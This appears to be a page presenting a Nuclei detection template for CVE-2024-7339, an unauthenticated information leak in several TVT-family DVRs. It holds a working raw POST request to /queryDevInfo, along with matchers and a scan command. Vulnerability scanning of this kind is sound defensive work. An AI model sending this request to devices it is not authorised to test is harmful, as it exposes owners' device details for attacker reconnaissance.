TVT DVR Sensitive Device - Information Disclosure

ID: CVE-2024-7339

Severity: medium

Author: Stuxctf

Tags: cve,cve2024,dvr,tvt,info-leak

Description

A vulnerability has been found in TVT DVR TD-2104TS-CL, DVR TD-2108TS-HP, Provision-ISR DVR SH-4050A5-5L(MM) and AVISION DVR AV108T and classified as problematic. This vulnerability affects unknown code of the file /queryDevInfo. The manipulation leads to information disclosure.

YAML Source

id: CVE-2024-7339

info:
  name: TVT DVR Sensitive Device - Information Disclosure
  author: Stuxctf
  severity: medium
  description: |
    A vulnerability has been found in TVT DVR TD-2104TS-CL, DVR TD-2108TS-HP, Provision-ISR DVR SH-4050A5-5L(MM) and AVISION DVR AV108T and classified as problematic. This vulnerability affects unknown code of the file /queryDevInfo. The manipulation leads to information disclosure.
  impact: |
    An attacker get detailed device information including hardware and software versions, serial numbers, and network configuration.
  remediation: |
    Implement strict access controls and authentication mechanisms to manage access to the device interfaces.
  reference:
    - https://netsecfish.notion.site/Sensitive-Device-Information-Disclosure-in-TVT-DVR-fad1cce703d946969be5130bf3aaac0d
    - https://netsecfish.notion.site/Sensitive-Device-Information-Disclosure-in-TVT-DVR-fad1cce703d946969be5130bf3aaac0d?pvs=4
    - https://vuldb.com/?ctiid.273262
    - https://vuldb.com/?id.273262
    - https://vuldb.com/?submit.379373
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-7339
    cwe-id: CWE-200
    epss-score: 0.00045
    epss-percentile: 0.16163
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,dvr,tvt,info-leak

http:
  - raw:
      - |
        POST /queryDevInfo HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" encoding="utf-8" ?><request version="1.0" systemType="NVMS-9000" clientType="WEB"/>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "softwareVersion"
          - "eth0"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c6fc272d8b74af242273df295f8349d625b11c712a82468d91ed97c69b2d2b56022100aff229bb0256969ba25a392ba95e91575ddb6163b886298c3c1565f057baeafc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-7339.yaml"

View on Github